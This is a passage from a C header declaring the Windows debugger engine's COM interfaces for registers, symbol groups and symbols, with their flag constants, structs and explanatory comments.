ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PDEBUG_REGISTER_DESCRIPTION Desc\n ) PURE;\n STDMETHOD(GetIndexByName)(\n THIS_\n __in PCSTR Name,\n __out PULONG Index\n ) PURE;\n\n STDMETHOD(GetValue)(\n THIS_\n __in ULONG Register,\n __out PDEBUG_VALUE Value\n ) PURE;\n // SetValue makes a best effort at coercing\n // the given value into the given registers\n // value type. If the given value is larger\n // than the register can hold the least\n // significant bits will be dropped. Float\n // to int and int to float will be done\n // if necessary. Subregister bits will be\n // inserted into the master register.\n STDMETHOD(SetValue)(\n THIS_\n __in ULONG Register,\n __in PDEBUG_VALUE Value\n ) PURE;\n // Gets Count register values. If Indices is\n // non-NULL it must contain Count register\n // indices which control the registers affected.\n // If Indices is NULL the registers from Start\n // to Start + Count 1 are retrieved.\n STDMETHOD(GetValues)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Indices,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_VALUE Values\n ) PURE;\n STDMETHOD(SetValues)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Indices,\n __in ULONG Start,\n __in_ecount(Count) PDEBUG_VALUE Values\n ) PURE;\n\n // Outputs a group of registers in a well-formatted\n // way thats specific to the platforms register set.\n // Uses the line prefix.\n STDMETHOD(OutputRegisters)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags\n ) PURE;\n\n // Abstracted pieces of processor information.\n // The mapping of these values to architectural\n // registers is architecture-specific and their\n // interpretation and existence may vary. They\n // are intended to be directly compatible with\n // calls which take this information, such as\n // stack walking.\n STDMETHOD(GetInstructionOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(GetStackOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(GetFrameOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n};\n\n//\n// The engine maintains several separate\n// pieces of context information. There is\n// the current debuggee context, a possible\n// override context, such as from .cxr,\n// a context for the current scope frame and so on.\n//\n\n// Get register information from the debuggee.\n#define DEBUG_REGSRC_DEBUGGEE 0x00000000\n// Get register information from an explicit\n// override context, such as one set by .cxr.\n// If there is no override context the request will fail.\n#define DEBUG_REGSRC_EXPLICIT 0x00000001\n// Get register information from the current scope\n// frame. Note that stack unwinding does not guarantee\n// accurate updating of the register context,\n// so scope frame register context may not be accurate\n// in all cases.\n#define DEBUG_REGSRC_FRAME 0x00000002\n\n#undef INTERFACE\n#define INTERFACE IDebugRegisters2\nDECLARE_INTERFACE_(IDebugRegisters2, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugRegisters.\n\n STDMETHOD(GetNumberRegisters)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetDescription)(\n THIS_\n __in ULONG Register,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PDEBUG_REGISTER_DESCRIPTION Desc\n ) PURE;\n STDMETHOD(GetIndexByName)(\n THIS_\n __in PCSTR Name,\n __out PULONG Index\n ) PURE;\n\n STDMETHOD(GetValue)(\n THIS_\n __in ULONG Register,\n __out PDEBUG_VALUE Value\n ) PURE;\n // SetValue makes a best effort at coercing\n // the given value into the given registers\n // value type. If the given value is larger\n // than the register can hold the least\n // significant bits will be dropped. Float\n // to int and int to float will be done\n // if necessary. Subregister bits will be\n // inserted into the master register.\n STDMETHOD(SetValue)(\n THIS_\n __in ULONG Register,\n __in PDEBUG_VALUE Value\n ) PURE;\n // Gets Count register values. If Indices is\n // non-NULL it must contain Count register\n // indices which control the registers affected.\n // If Indices is NULL the registers from Start\n // to Start + Count 1 are retrieved.\n STDMETHOD(GetValues)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Indices,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_VALUE Values\n ) PURE;\n STDMETHOD(SetValues)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Indices,\n __in ULONG Start,\n __in_ecount(Count) PDEBUG_VALUE Values\n ) PURE;\n\n // Outputs a group of registers in a well-formatted\n // way thats specific to the platforms register set.\n // Uses the line prefix.\n STDMETHOD(OutputRegisters)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags\n ) PURE;\n\n // Abstracted pieces of processor information.\n // The mapping of these values to architectural\n // registers is architecture-specific and their\n // interpretation and existence may vary. They\n // are intended to be directly compatible with\n // calls which take this information, such as\n // stack walking.\n STDMETHOD(GetInstructionOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(GetStackOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(GetFrameOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n\n // IDebugRegisters2.\n\n STDMETHOD(GetDescriptionWide)(\n THIS_\n __in ULONG Register,\n __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PDEBUG_REGISTER_DESCRIPTION Desc\n ) PURE;\n STDMETHOD(GetIndexByNameWide)(\n THIS_\n __in PCWSTR Name,\n __out PULONG Index\n ) PURE;\n\n // Pseudo-registers are synthetic values derived\n // by the engine that are presented in a manner\n // similar to regular registers. They are simple\n // value holders, similar to actual registers.\n // Pseudo-registers are defined for concepts,\n // such as current-instruction-pointer or\n // current-thread-data. As such they have\n // types appropriate for their data.\n STDMETHOD(GetNumberPseudoRegisters)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetPseudoDescription)(\n THIS_\n __in ULONG Register,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 TypeModule,\n __out_opt PULONG TypeId\n ) PURE;\n STDMETHOD(GetPseudoDescriptionWide)(\n THIS_\n __in ULONG Register,\n __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 TypeModule,\n __out_opt PULONG TypeId\n ) PURE;\n STDMETHOD(GetPseudoIndexByName)(\n THIS_\n __in PCSTR Name,\n __out PULONG Index\n ) PURE;\n STDMETHOD(GetPseudoIndexByNameWide)(\n THIS_\n __in PCWSTR Name,\n __out PULONG Index\n ) PURE;\n // Some pseudo-register values are affected\n // by the register source, others are not.\n STDMETHOD(GetPseudoValues)(\n THIS_\n __in ULONG Source,\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Indices,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_VALUE Values\n ) PURE;\n // Many pseudo-registers are read-only and cannot be set.\n STDMETHOD(SetPseudoValues)(\n THIS_\n __in ULONG Source,\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Indices,\n __in ULONG Start,\n __in_ecount(Count) PDEBUG_VALUE Values\n ) PURE;\n\n // These expanded methods allow selection\n // of the source of register information.\n STDMETHOD(GetValues2)(\n THIS_\n __in ULONG Source,\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Indices,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_VALUE Values\n ) PURE;\n STDMETHOD(SetValues2)(\n THIS_\n __in ULONG Source,\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Indices,\n __in ULONG Start,\n __in_ecount(Count) PDEBUG_VALUE Values\n ) PURE;\n STDMETHOD(OutputRegisters2)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Source,\n __in ULONG Flags\n ) PURE;\n STDMETHOD(GetInstructionOffset2)(\n THIS_\n __in ULONG Source,\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(GetStackOffset2)(\n THIS_\n __in ULONG Source,\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(GetFrameOffset2)(\n THIS_\n __in ULONG Source,\n __out PULONG64 Offset\n ) PURE;\n};\n\n//----------------------------------------------------------------------------\n//\n// IDebugSymbolGroup\n//\n//----------------------------------------------------------------------------\n\n// OutputSymbols flags.\n// Default output contains\n// **NAME****OFF****VALUE****TYPE**\n// per symbol.\n#define DEBUG_OUTPUT_SYMBOLS_DEFAULT 0x00000000\n#define DEBUG_OUTPUT_SYMBOLS_NO_NAMES 0x00000001\n#define DEBUG_OUTPUT_SYMBOLS_NO_OFFSETS 0x00000002\n#define DEBUG_OUTPUT_SYMBOLS_NO_VALUES 0x00000004\n#define DEBUG_OUTPUT_SYMBOLS_NO_TYPES 0x00000010\n\n#define DEBUG_OUTPUT_NAME_END \"**NAME**\"\n#define DEBUG_OUTPUT_OFFSET_END \"**OFF**\"\n#define DEBUG_OUTPUT_VALUE_END \"**VALUE**\"\n#define DEBUG_OUTPUT_TYPE_END \"**TYPE**\"\n\n#define DEBUG_OUTPUT_NAME_END_WIDE L\"**NAME**\"\n#define DEBUG_OUTPUT_OFFSET_END_WIDE L\"**OFF**\"\n#define DEBUG_OUTPUT_VALUE_END_WIDE L\"**VALUE**\"\n#define DEBUG_OUTPUT_TYPE_END_WIDE L\"**TYPE**\"\n\n#ifdef UNICODE\n#define DEBUG_OUTPUT_NAME_END_T DEBUG_OUTPUT_NAME_END_WIDE\n#define DEBUG_OUTPUT_OFFSET_END_T DEBUG_OUTPUT_OFFSET_END_WIDE\n#define DEBUG_OUTPUT_VALUE_END_T DEBUG_OUTPUT_VALUE_END_WIDE\n#define DEBUG_OUTPUT_TYPE_END_T DEBUG_OUTPUT_TYPE_END_WIDE\n#else\n#define DEBUG_OUTPUT_NAME_END_T DEBUG_OUTPUT_NAME_END\n#define DEBUG_OUTPUT_OFFSET_END_T DEBUG_OUTPUT_OFFSET_END\n#define DEBUG_OUTPUT_VALUE_END_T DEBUG_OUTPUT_VALUE_END\n#define DEBUG_OUTPUT_TYPE_END_T DEBUG_OUTPUT_TYPE_END\n#endif\n\n// DEBUG_SYMBOL_PARAMETERS flags.\n// Cumulative expansion level, takes four bits.\n#define DEBUG_SYMBOL_EXPANSION_LEVEL_MASK 0x0000000f\n// Symbols subelements follow.\n#define DEBUG_SYMBOL_EXPANDED 0x00000010\n// Symbols value is read-only.\n#define DEBUG_SYMBOL_READ_ONLY 0x00000020\n// Symbol subelements are array elements.\n#define DEBUG_SYMBOL_IS_ARRAY 0x00000040\n// Symbol is a float value.\n#define DEBUG_SYMBOL_IS_FLOAT 0x00000080\n// Symbol is a scope argument.\n#define DEBUG_SYMBOL_IS_ARGUMENT 0x00000100\n// Symbol is a scope argument.\n#define DEBUG_SYMBOL_IS_LOCAL 0x00000200\n\ntypedef struct _DEBUG_SYMBOL_PARAMETERS\n{\n ULONG64 Module;\n ULONG TypeId;\n // ParentSymbol may be DEBUG_ANY_ID when unknown.\n ULONG ParentSymbol;\n // A subelement of a symbol can be a field, such\n // as in structs, unions or classes; or an array\n // element count for arrays.\n ULONG SubElements;\n ULONG Flags;\n ULONG64 Reserved;\n} DEBUG_SYMBOL_PARAMETERS, *PDEBUG_SYMBOL_PARAMETERS;\n\n#undef INTERFACE\n#define INTERFACE IDebugSymbolGroup\nDECLARE_INTERFACE_(IDebugSymbolGroup, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugSymbolGroup.\n STDMETHOD(GetNumberSymbols)(\n THIS_\n __out PULONG Number\n ) PURE;\n // On input Index indicates the desired insertion\n // index. On output Index contains the actual index.\n // Use DEBUG_ANY_ID to append a symbol to the end.\n STDMETHOD(AddSymbol)(\n THIS_\n __in PCSTR Name,\n __inout PULONG Index\n ) PURE;\n STDMETHOD(RemoveSymbolByName)(\n THIS_\n __in PCSTR Name\n ) PURE;\n STDMETHOD(RemoveSymbolByIndex)(\n THIS_\n __in ULONG Index\n ) PURE;\n STDMETHOD(GetSymbolName)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n STDMETHOD(GetSymbolParameters)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PDEBUG_SYMBOL_PARAMETERS Params\n ) PURE;\n STDMETHOD(ExpandSymbol)(\n THIS_\n __in ULONG Index,\n __in BOOL Expand\n ) PURE;\n // Uses the line prefix.\n STDMETHOD(OutputSymbols)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags,\n __in ULONG Start,\n __in ULONG Count\n ) PURE;\n STDMETHOD(WriteSymbol)(\n THIS_\n __in ULONG Index,\n __in PCSTR Value\n ) PURE;\n STDMETHOD(OutputAsType)(\n THIS_\n __in ULONG Index,\n __in PCSTR Type\n ) PURE;\n};\n\n#define DEBUG_SYMENT_IS_CODE 0x00000001\n#define DEBUG_SYMENT_IS_DATA 0x00000002\n#define DEBUG_SYMENT_IS_PARAMETER 0x00000004\n#define DEBUG_SYMENT_IS_LOCAL 0x00000008\n#define DEBUG_SYMENT_IS_MANAGED 0x00000010\n#define DEBUG_SYMENT_IS_SYNTHETIC 0x00000020\n\ntypedef struct _DEBUG_SYMBOL_ENTRY\n{\n ULONG64 ModuleBase;\n ULONG64 Offset;\n ULONG64 Id;\n ULONG64 Arg64;\n ULONG Size;\n ULONG Flags;\n ULONG TypeId;\n ULONG NameSize;\n ULONG Token;\n ULONG Tag;\n ULONG Arg32;\n ULONG Reserved;\n} DEBUG_SYMBOL_ENTRY, *PDEBUG_SYMBOL_ENTRY;\n\n#undef INTERFACE\n#define INTERFACE IDebugSymbolGroup2\nDECLARE_INTERFACE_(IDebugSymbolGroup2, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugSymbolGroup.\n\n STDMETHOD(GetNumberSymbols)(\n THIS_\n __out PULONG Number\n ) PURE;\n // On input Index indicates the desired insertion\n // index. On output Index contains the actual index.\n // Use DEBUG_ANY_ID to append a symbol to the end.\n STDMETHOD(AddSymbol)(\n THIS_\n __in PCSTR Name,\n __inout PULONG Index\n ) PURE;\n STDMETHOD(RemoveSymbolByName)(\n THIS_\n __in PCSTR Name\n ) PURE;\n STDMETHOD(RemoveSymbolByIndex)(\n THIS_\n __in ULONG Index\n ) PURE;\n STDMETHOD(GetSymbolName)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n STDMETHOD(GetSymbolParameters)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PDEBUG_SYMBOL_PARAMETERS Params\n ) PURE;\n STDMETHOD(ExpandSymbol)(\n THIS_\n __in ULONG Index,\n __in BOOL Expand\n ) PURE;\n // Uses the line prefix.\n STDMETHOD(OutputSymbols)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags,\n __in ULONG Start,\n __in ULONG Count\n ) PURE;\n STDMETHOD(WriteSymbol)(\n THIS_\n __in ULONG Index,\n __in PCSTR Value\n ) PURE;\n STDMETHOD(OutputAsType)(\n THIS_\n __in ULONG Index,\n __in PCSTR Type\n ) PURE;\n\n // IDebugSymbolGroup2.\n\n STDMETHOD(AddSymbolWide)(\n THIS_\n __in PCWSTR Name,\n __inout PULONG Index\n ) PURE;\n STDMETHOD(RemoveSymbolByNameWide)(\n THIS_\n __in PCWSTR Name\n ) PURE;\n STDMETHOD(GetSymbolNameWide)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n STDMETHOD(WriteSymbolWide)(\n THIS_\n __in ULONG Index,\n __in PCWSTR Value\n ) PURE;\n STDMETHOD(OutputAsTypeWide)(\n THIS_\n __in ULONG Index,\n __in PCWSTR Type\n ) PURE;\n\n STDMETHOD(GetSymbolTypeName)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n STDMETHOD(GetSymbolTypeNameWide)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n STDMETHOD(GetSymbolSize)(\n THIS_\n __in ULONG Index,\n __out PULONG Size\n ) PURE;\n // If the symbol has an absolute address\n // this method will retrieve it.\n STDMETHOD(GetSymbolOffset)(\n THIS_\n __in ULONG Index,\n __out PULONG64 Offset\n ) PURE;\n // If the symbol is enregistered this\n // method will return the register index.\n STDMETHOD(GetSymbolRegister)(\n THIS_\n __in ULONG Index,\n __out PULONG Register\n ) PURE;\n STDMETHOD(GetSymbolValueText)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n STDMETHOD(GetSymbolValueTextWide)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n STDMETHOD(GetSymbolEntryInformation)(\n THIS_\n __in ULONG Index,\n __out PDEBUG_SYMBOL_ENTRY Entry\n ) PURE;\n};\n\n//----------------------------------------------------------------------------\n//\n// IDebugSymbols.\n//\n//----------------------------------------------------------------------------\n\n//\n// Information about a module.\n//\n\n// Flags.\n#define DEBUG_MODULE_LOADED 0x00000000\n#define DEBUG_MODULE_UNLOADED 0x00000001\n#define DEBUG_MODULE_USER_MODE 0x00000002\n#define DEBUG_MODULE_EXE_MODULE 0x00000004\n#define DEBUG_MODULE_EXPLICIT 0x00000008\n#define DEBUG_MODULE_SECONDARY 0x00000010\n#define DEBUG_MODULE_SYNTHETIC 0x00000020\n#define DEBUG_MODULE_SYM_BAD_CHECKSUM 0x00010000\n\n// Symbol types.\n#define DEBUG_SYMTYPE_NONE 0\n#define DEBUG_SYMTYPE_COFF 1\n#define DEBUG_SYMTYPE_CODEVIEW 2\n#define DEBUG_SYMTYPE_PDB 3\n#define DEBUG_SYMTYPE_EXPORT 4\n#define DEBUG_SYMTYPE_DEFERRED 5\n#define DEBUG_SYMTYPE_SYM 6\n#define DEBUG_SYMTYPE_DIA 7\n\ntypedef struct _DEBUG_MODULE_PARAMETERS\n{\n ULONG64 Base;\n ULONG Size;\n ULONG TimeDateStamp;\n ULONG Checksum;\n ULONG Flags;\n ULONG SymbolType;\n ULONG ImageNameSize;\n ULONG ModuleNameSize;\n ULONG LoadedImageNameSize;\n ULONG SymbolFileNameSize;\n ULONG MappedImageNameSize;\n ULONG64 Reserved[2];\n} DEBUG_MODULE_PARAMETERS, *PDEBUG_MODULE_PARAMETERS;\n\n// Scope arguments are function arguments\n// and thus only change when the scope\n// crosses functions.\n#define DEBUG_SCOPE_GROUP_ARGUMENTS 0x00000001\n// Scope locals are locals declared in a particular\n// scope and are only defined within that scope.\n#define DEBUG_SCOPE_GROUP_LOCALS 0x00000002\n// All symbols in the scope.\n#define DEBUG_SCOPE_GROUP_ALL 0x00000003\n\n// Typed data output control flags.\n#define DEBUG_OUTTYPE_DEFAULT 0x00000000\n#define DEBUG_OUTTYPE_NO_INDENT 0x00000001\n#define DEBUG_OUTTYPE_NO_OFFSET 0x00000002\n#define DEBUG_OUTTYPE_VERBOSE 0x00000004\n#define DEBUG_OUTTYPE_COMPACT_OUTPUT 0x00000008\n#define DEBUG_OUTTYPE_RECURSION_LEVEL(Max) (((Max) & 0xf) << 4)\n#define DEBUG_OUTTYPE_ADDRESS_OF_FIELD 0x00010000\n#define DEBUG_OUTTYPE_ADDRESS_AT_END 0x00020000\n#define DEBUG_OUTTYPE_BLOCK_RECURSE 0x00200000\n\n// FindSourceFile flags.\n#define DEBUG_FIND_SOURCE_DEFAULT 0x00000000\n// Returns fully-qualified paths only. If this\n// is not set the path returned may be relative.\n#define DEBUG_FIND_SOURCE_FULL_PATH 0x00000001\n// Scans all the path elements for a match and\n// returns the one that has the most similarity\n// between the given file and the matching element.\n#define DEBUG_FIND_SOURCE_BEST_MATCH 0x00000002\n// Do not search source server paths.\n#define DEBUG_FIND_SOURCE_NO_SRCSRV 0x00000004\n// Restrict FindSourceFileAndToken to token lookup only.\n#define DEBUG_FIND_SOURCE_TOKEN_LOOKUP 0x00000008\n\n// A special value marking an offset that should not\n// be treated as a valid offset. This is only used\n// in special situations where it is unlikely that\n// this value would be a valid offset.\n#define DEBUG_INVALID_OFFSET ((ULONG64)-1)\n\n// Module index sort order used by GetModuleByIndex() API.\n#define MODULE_ORDERS_MASK 0xF0000000\n#define MODULE_ORDERS_LOADTIME 0x10000000\n#define MODULE_ORDERS_MODULENAME 0x20000000\n\n#undef INTERFACE\n#define INTERFACE IDebugSymbols\nDECLARE_INTERFACE_(IDebugSymbols, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugSymbols.\n\n // Controls the symbol options used during\n // symbol operations.\n // Uses the same flags as dbghelps SymSetOptions.\n STDMETHOD(GetSymbolOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddSymbolOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveSymbolOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetSymbolOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n STDMETHOD(GetNameByOffset)(\n THIS_\n __in ULONG64 Offset,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 Displacement\n ) PURE;\n // A symbol name may not be unique, particularly\n // when overloaded functions exist which all\n // have the same name. If GetOffsetByName\n // finds multiple matches for the name it\n // can return any one of them. In that\n // case it will return S_FALSE to indicate\n // that ambiguity was arbitrarily resolved.\n // A caller can then use SearchSymbols to\n // find all of the matches if it wishes to\n // perform different disambiguation.\n STDMETHOD(GetOffsetByName)(\n THIS_\n __in PCSTR Symbol,\n __out PULONG64 Offset\n ) PURE;\n // GetNearNameByOffset returns symbols\n // located near the symbol closest to\n // to the offset, such as the previous\n // or next symbol. If Delta is zero it\n // operates identically to GetNameByOffset.\n // If Delta is nonzero and such a symbol\n // does not exist an error is returned.\n // The next symbol, if one exists, will\n // always have a higher offset than the\n // input offset so the displacement is\n // always negative. The situation is\n // reversed for the previous symbol.\n STDMETHOD(GetNearNameByOffset)(\n THIS_\n __in ULONG64 Offset,\n __in LONG Delta,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 Displacement\n ) PURE;\n\n STDMETHOD(GetLineByOffset)(\n THIS_\n __in ULONG64 Offset,\n __out_opt PULONG Line,\n __out_ecount_opt(FileBufferSize) PSTR FileBuffer,\n __in ULONG FileBufferSize,\n __out_opt PULONG FileSize,\n __out_opt PULONG64 Displacement\n ) PURE;\n STDMETHOD(GetOffsetByLine)(\n THIS_\n __in ULONG Line,\n __in PCSTR File,\n __out PULONG64 Offset\n ) PURE;\n\n // Enumerates the engines list of modules\n // loaded for the current process. This may\n // or may not match the system module list\n // for the process. Reload can be used to\n // synchronize the engines list with the system\n // if necessary.\n // Some sessions also track recently unloaded\n // code modules for help in analyzing failures\n // where an attempt is made to call unloaded code.\n // These modules are indexed after the loaded\n // modules.\n STDMETHOD(GetNumberModules)(\n THIS_\n __out PULONG Loaded,\n __out PULONG Unloaded\n ) PURE;\n STDMETHOD(GetModuleByIndex)(\n THIS_\n __in ULONG Index,\n __out PULONG64 Base\n ) PURE;\n // The module name may not be unique.\n // This method returns the first match.\n STDMETHOD(GetModuleByModuleName)(\n THIS_\n __in PCSTR Name,\n __in ULONG StartIndex,\n __out_opt PULONG Index,\n __out_opt PULONG64 Base\n ) PURE;\n // Offset can be any offset within\n // the module extent. Extents may\n // not be unique when including unloaded\n // drivers. This method returns the\n // first match.\n STDMETHOD(GetModuleByOffset)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG StartIndex,\n __out_opt PULONG Index,\n __out_opt PULONG64 Base\n ) PURE;\n // If Index is DEBUG_ANY_ID the base address\n // is used to look up the module instead.\n STDMETHOD(GetModuleNames)(\n THIS_\n __in ULONG Index,\n __in ULONG64 Base,\n __out_ecount_opt(ImageNameBufferSize) PSTR ImageNameBuffer,\n __in ULONG ImageNameBufferSize,\n __out_opt PULONG ImageNameSize,\n __out_ecount_opt(ModuleNameBufferSize) PSTR ModuleNameBuffer,\n __in ULONG ModuleNameBufferSize,\n __out_opt PULONG ModuleNameSize,\n __out_ecount_opt(LoadedImageNameBufferSize) PSTR LoadedImageNameBuffer,\n __in ULONG LoadedImageNameBufferSize,\n __out_opt PULONG LoadedImageNameSize\n ) PURE;\n STDMETHOD(GetModuleParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG64 Bases,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_MODULE_PARAMETERS Params\n ) PURE;\n // Looks up the module from a !\n // string.\n STDMETHOD(GetSymbolModule)(\n THIS_\n __in PCSTR Symbol,\n __out PULONG64 Base\n ) PURE;\n\n // Returns the string name of a type.\n STDMETHOD(GetTypeName)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n // Returns the ID for a type name.\n STDMETHOD(GetTypeId)(\n THIS_\n __in ULONG64 Module,\n __in PCSTR Name,\n __out PULONG TypeId\n ) PURE;\n STDMETHOD(GetTypeSize)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out PULONG Size\n ) PURE;\n // Given a type which can contain members\n // this method returns the offset of a\n // particular member within the type.\n // TypeId should give the container type ID\n // and Field gives the dot-separated path\n // to the field of interest.\n STDMETHOD(GetFieldOffset)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in PCSTR Field,\n __out PULONG Offset\n ) PURE;\n\n STDMETHOD(GetSymbolTypeId)(\n THIS_\n __in PCSTR Symbol,\n __out PULONG TypeId,\n __out_opt PULONG64 Module\n ) PURE;\n // As with GetOffsetByName a symbol's\n // name may be ambiguous. GetOffsetTypeId\n // returns the type for the symbol closest\n // to the given offset and can be used\n // to avoid ambiguity.\n STDMETHOD(GetOffsetTypeId)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG TypeId,\n __out_opt PULONG64 Module\n ) PURE;\n\n // Helpers for virtual and physical data\n // which combine creation of a location with\n // the actual operation.\n STDMETHOD(ReadTypedDataVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteTypedDataVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(OutputTypedDataVirtual)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in ULONG Flags\n ) PURE;\n STDMETHOD(ReadTypedDataPhysical)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteTypedDataPhysical)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(OutputTypedDataPhysical)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in ULONG Flags\n ) PURE;\n\n // Function arguments and scope block symbols\n // can be retrieved relative to currently\n // executing code. A caller can provide just\n // a code offset for scoping purposes and look\n // up names or the caller can provide a full frame\n // and look up actual values. The values for\n // scoped symbols are best-guess and may or may not\n // be accurate depending on program optimizations,\n // the machine architecture, the current point\n // in the programs execution and so on.\n // A caller can also provide a complete register\n // context for setting a scope to a previous\n // machine state such as a context saved for\n // an exception. Usually this isnt necessary\n // and the current register context is used.\n STDMETHOD(GetScope)(\n THIS_\n __out_opt PULONG64 InstructionOffset,\n __out_opt PDEBUG_STACK_FRAME ScopeFrame,\n __out_bcount_opt(ScopeContextSize) PVOID ScopeContext,\n __in ULONG ScopeContextSize\n ) PURE;\n // If ScopeFrame or ScopeContext is non-NULL then\n // InstructionOffset is ignored.\n // If ScopeContext is NULL the 